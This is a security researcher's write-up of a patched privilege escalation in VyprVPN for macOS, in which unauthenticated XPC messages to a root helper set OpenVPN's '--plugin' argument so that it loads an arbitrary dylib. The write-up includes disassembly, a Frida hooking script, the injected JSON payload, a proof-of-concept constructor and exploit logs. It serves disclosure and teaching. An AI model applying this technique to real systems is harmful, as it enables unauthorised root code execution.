Exploiting VyprVPN for MacOS
Advisory for Privilege Escalation Vulnerability
In 2017, VerSprite released an advisory for a privilege escalation vulnerability in the VyprVPN for MacOS application.
Auditing
When performing attack surface enumeration for any macOS application, I typically search for XPC (Cross Process Communication) API usage. I’ve found that rarely do I see XPC services in third-party applications being secured, so it tends to always be a focal point for my bug hunting efforts.
I’m not going to deep dive XPC internals in this blog, so I would highly suggest reading Ian Beer’s slides, which cover this topic in depth.
For now all we need to know is that XPC is a form of inter-process communication and XPC message typically take the form of a dictionary which can contain various types such as arrays
, strings
, etc. Observing the output from nm
on the VyprVPN
binary, it looks like the application is indeed utilizing various XPC functions.
╭─rotlogix@carcossa /Applications/VyprVPN.app/Contents/MacOS ╰─$ nm VyprVPN | grep xpc U __xpc_type_dictionary U _xpc_connection_create_mach_service U _xpc_connection_resume U _xpc_connection_send_message_with_reply U _xpc_connection_set_event_handler U _xpc_copy_description U _xpc_dictionary_create U _xpc_dictionary_get_data U _xpc_dictionary_set_data U _xpc_get_type
The first thing I want to know is whether the VyprVPN
application is functioning as a client, and also what endpoint it is connecting to. In order to figure this out, let’s focus on the xpc_connection_create_mach_service
function.
xpc_connection_t xpc_connection_create_mach_service(const char *name, dispatch_queue_t targetq, uint64_t flags);
Parameters
name
The name of the remote service with which to connect. The service name must exist in a Mach bootstrap that is accessible to the process and be advertised in a launchd.plist.
Apple’s documentation tells us that the first argument passed to thexpc_connection_create_mach_service
function is the name of the remote service with which to connect. After loading theVyprVPN
binary into IDA and looking up cross-references to thexpc_connection_create_mach_service
function, we can observe thatxpc_connection_create_mach_service
is being called from-[VyprVPNProxy sendRequest:withCompletionHandler:]
.
After only a quick glance at the disassembly, we can spot the name of the service being passed in RDI
before the xpc_connection_create_mach_service
is invoked.
add rdx, rdx lea rdi, aVyprvpnservice_3 ; "vyprvpnservice" xor esi, esi call _xpc_connection_create_mach_service
The -[VyprVPNProxy sendRequest:withCompletionHandler:]
function contains most the of the core functionality when it comes to creating new XPC connections and sending out XPC messages. Before we dive into what is being sent via the XPC messages, let’s figure out who is serving up the vyprvpnservice
XPC endpoint.
vyprvpnservice
The VyprVPN
application can be configured to auto-connect to a selected VPN endpoint once the operating system has finished booting. So this means the application probably installed a LaunchDaemon
. After digging into the available LaunchDaemons
, we find our target.
rotlogix@carcossa /Library/LaunchDaemons ╰─$ ls -la ... .. . -rw-r--r-- 1 root wheel 547 Dec 8 15:01 vyprvpnservice.plist
<!--?xml version="1.0" encoding="UTF-8"?--> KeepAlive Label vyprvpnservice MachServices vyprvpnservice Program /Library/PrivilegedHelperTools/vyprvpnservice ProgramArguments /Library/PrivilegedHelperTools/vyprvpnservice
Just as expected the vyprvpnservice
binary contains XPC API usage, including the xpc_connection_create_mach_service
function.
╭─rotlogix@carcossa /Library/PrivilegedHelperTools ╰─$ nm vyprvpnservice | grep xpc U __xpc_type_connection U __xpc_type_dictionary U _xpc_connection_cancel U _xpc_connection_create_mach_service U _xpc_connection_resume U _xpc_connection_send_message U _xpc_connection_set_event_handler U _xpc_dictionary_create_reply U _xpc_dictionary_get_data U _xpc_dictionary_get_remote_connection U _xpc_dictionary_set_data U _xpc_get_type
Now we need to figure out what the VyprVPN
application is sending to the vyprvpnservice
via XPC and how the vyprvpnservice
is processing and operating on the data within the XPC messages. When I am reverse engineering applications that are utilizing XPC, I’ll typically start looking for cross-references to any xpc_dictionary_get_*
type functions. Let’s focus our attention on _xpc_dictionary_get_data`.
const void * xpc_dictionary_get_data(xpc_object_t xdict, const char *key, size_t *length);
Gets a raw data value from a dictionary directly.
The xpc_dictionary_get_data
function is called indirectly from the -[ServiceListener start]
function, which is responsible for dealing with inbound XPC connections and processing XPC messages. The data returned from the xpc_dictionary_get_data
function is converted into an NSData
object and passed to the +[JsonShim objectFromData:]
function.
-[ServiceListener start] ... .. . lea rsi, aData_1 ; "data" lea rdx, [rbp+var_88] mov rdi, r15 call _xpc_dictionary_get_data mov rdi, cs:classRef_NSData ; void * mov rcx, [rbp+var_88] mov rsi, cs:selRef_dataWithBytes_length_ ; char * mov r12, cs:_objc_msgSend_ptr mov rdx, rax call r12 ; _objc_msgSend mov rdi, rax call _objc_retainAutoreleasedReturnValue mov [rbp+var_90], rax mov rdi, cs:classRef_JsonShim ; void * mov rsi, cs:selRef_objectFromData_ ; char * mov rdx, rax call r12 ; _objc_msgSend
The JsonShim
class is basically a wrapper for the NSJSONSerialization
class, which provides functionality for serializing and deserializing JSON to and from Foundation objects.
+[JsonShim objectFromData: ... .. . mov rdi, cs:classRef_NSJSONSerialization ; void * mov [rbp+var_30], 0 mov rsi, cs:selRef_JSONObjectWithData_options_error_ ; char * lea r8, [rbp+var_30] xor ecx, ecx mov rdx, r14 call cs:_objc_msgSend_ptr
+ (id)JSONObjectWithData:(NSData *)data options:(NSJSONReadingOptions)opt error:(NSError * _Nullable *)error;
Returns a Foundation object from given JSON data.
The object returned from the JSONObjectWithData
function is passed to the -[ServiceListener handleServiceRequest:]
function. The JSON data contains a keyword that is used by the -[ServiceListener handleServiceRequest:]
function in order to select the appropriate service handler for processing the request. Here is a list of the service handlers that are available to the -[ServiceListener handleServiceRequest:]
function.
-[CancelHandler handleRequest:] -[ClearAutomaticPortsHandler handleRequest:] -[ConnectHandler handleRequest:] -[ConnectionLogServiceHandler handleRequest:] -[CrashHandler handleRequest:] -[CrashReportHandler handleRequest:] -[DisconnectHandler handleRequest:] -[FlushDNSCacheHandler handleRequest:] -[GetAllHandler handleRequest:] -[GetOptimizedMTUHandler handleRequest:] -[GetSingleUseTokenServiceHandler handleRequest:] -[KextTalkServiceHandler handleRequest:] -[LoginHandler handleRequest:] -[MalwareContentPolicyHandler handleRequest:] -[OpenVPNArgsHandler handleRequest:] -[PrepareForUpdate handleRequest:] -[PropertyAccessServiceHandler handleRequest:] -[ProvideCredentialsServiceHandler handleRequest:] -[SplitTunnelPreferenceAccess handleRequest:] -[SupportHandler handleRequest:] -[TestHandler handleRequest:] -[TumbleCommandHandler handleRequest:] -[UniqueBindingHandler handleRequest:] -[UserActivityHandler handleRequest:] -[WatchVyprProcessHandler handleRequest:]
I know, I know, I know -[KextTalkServiceHandler handleRequest:]
, WTF right? For now we are only going to cover the -[OpenVPNArgsHandler handleRequest:]
handler and save everything else for another time.
To be honest with you, I stopped reversing the vyprvpnservice
right then and there. After seeing the -[OpenVPNArgsHandler handleRequest:]
function my assumption was that I could control the arguments passed to the openvpn
binary through an XPC message. To validate this claim, I needed to start inspecting the JSON data in the XPC messages created in the VyprVPN application before they were sent to the vyprvpnservice
. So, I crafted the following Frida script to be injected into the VyprVPN
process:
var NSJSONSerialization = ObjC.classes.NSJSONSerialization; var JsonShim = ObjC.classes.JsonShim; var dataFromObject = JsonShim["+ dataFromObject:"]; var jsonFromObject = NSJSONSerialization["+ JSONObjectWithData:options:error:"]; var dataWithJSONObject = NSJSONSerialization["dataWithJSONObject:options:error:"]; Interceptor.attach(jsonFromObject.implementation, { onEnter: function(args) { console.log('{+} Hooked + JSONObjectWithData:options:error: [!]'); var data = new ObjC.Object(args[2]); console.log('{+} ' + Memory.readUtf8String(data.bytes(), data.length())); }, onLeave: function(ret) { return ret; } }); Interceptor.attach(dataWithJSONObject.implementation, { onEnter: function(args) { console.log('{+} Hooked dataWithJSONObject:options:error: [!]'); }, onLeave: function(ret) { var data = new ObjC.Object(ret); console.log('{+} ' + Memory.readUtf8String(data.bytes(), data.length())); return ret; } });
The Frida script is hooking the JsonShim
class and its functions for serializing the outgoing JSON data and deserializing the incoming JSON data.
- The
dataWithJSONObject
function will be called during the processing of building a new XPC message. - The
jsonFromObject
will be called when receiving the XPC message reply from thevyprvpnservice
endpoint.
The next step is to figure out how to trigger a new XPC message that operates on the OpenVPN parameters. After messing around in the main user interface, I found the following option.
After looking at the current parameters set for the OpenVPN client, I somehow reached down into my brain and came back with a thought, “.. I feel like someone told me you could load additional shared-libraries via OpenVPN’s parameters ..”.
Using Shared Object or DLL Plugins
Shared object or DLL plugins are usually compiled C modules which are loaded by the OpenVPN server at run time. For example if you are using an RPM-based OpenVPN package on Linux, the openvpn-auth-pam plugin should be already built. To use it, add this to the server-side config file::
plugin /usr/share/openvpn/plugin/lib/openvpn-auth-pam.so login
In order to test my theory out, I injected my Frida script in the VyprVPN
process, then submitted the following additional argument:
--payload /tmp/payload
Sure enough, this action triggered a new XPC connection and message. The output below is from my Frida script:
{+} Hooked dataWithJSONObject:options:error: [!] {+} {"RequestedKey":"openvpn_additional_params","Value":"--plugin /tmp/payload","Action":"set"} {+} Hooked + JSONObjectWithData:options:error: [!] {+} {"ReplyContainsAnswer":false,"ReturnCode":0,"ReplyName":"openvpn_additional_params"}
All we need to do now is generate a simple dynamic library and start building our exploit!
Exploit Development
The dynamic library used for the PoC is simple and contains the following code:
__attribute__((constructor)) void ctor(int argc, const char* argv[], const char* envp[], const char* apple[], const struct ProgramVars* vars) { NSLog(@"[+] Loaded by OpenVPN [!]"); }
For our exploit to work, it needs to contain the following operations:
- Create a new XPC connection to the
vyprvpnservice
endpoint - Serialize our JSON payload using the
NSJSONSerialization
datawithObject
function - Convert the resulting
NSDictionary
to aNSData
object - Create a new
xpc_dictionary
and store theNSData
object in the dictionary - Send the XPC message
- Process the response
Let’s run it!
2018-01-23 14:19:03.877306-0500 CobraCommander[22155:2549601] [+] Connecting to vyprvpnservice [!] 2018-01-23 14:19:03.877355-0500 CobraCommander[22155:2549601] [+] Service connection successfull [!] 2018-01-23 14:19:03.877398-0500 CobraCommander[22155:2549601] [+] Building XPC dictionary [!] 2018-01-23 14:19:03.877491-0500 CobraCommander[22155:2549601] [+] XPC dictionary creation finished [!] 2018-01-23 14:19:03.877503-0500 CobraCommander[22155:2549601] [+] Sending XPC message with updated params --plugin /Users/rotlogix/Development/Plugin/libPlugin [!] 2018-01-23 14:19:03.878400-0500 CobraCommander[22155:2550011] [+] Received response from XPC service [!] 2018-01-23 14:19:03.878467-0500 CobraCommander[22155:2550011] [+] { count = 1, transaction: 0, voucher = 0x0, contents = "data" => : { length = 84 bytes, contents = 0x7b225265706c79436f6e7461696e73416e73776572223a66... } } 2018-01-23 14:19:03.878670-0500 CobraCommander[22155:2550011] [+] { ReplyContainsAnswer = 0; ReplyName = "openvpn_additional_params"; ReturnCode = 0; }
Alright, we should have successfully updated OpenVPN’s arguments. Once we tell VyprVPN
to make a new VPN connection, this should load and execute our dynamic library. If we open up the console and search for openvpn
, we should see the following output:
default 14:20:34.852864 -0500 openvpn [+] Loaded by OpenVPN [!]
Conclusion
First of all, I would like to give a shout out to the Golden Frog team for resolving this issue so quickly. If you’re using VyprVPN
for macOS, I would suggest updating to the newest version if you haven’t already, which includes the fix for this vulnerability.
References
https://github.com/VerSprite/research/blob/master/advisories/VS-2017-007.md
https://developer.apple.com/documentation/xpc?language=objc
https://developer.apple.com/documentation/foundation/nsjsonserialization?language=objc
https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.pdf
Protect Your Assets from Various Threat Actors
VerSprite’s Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies.
Our clients rely on VerSprite’s unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors.
From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more about Research as a Service →
View our security advisories detailing vulnerabilities found in major products for MacOs, Windows, Android, and iOS.
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /
- /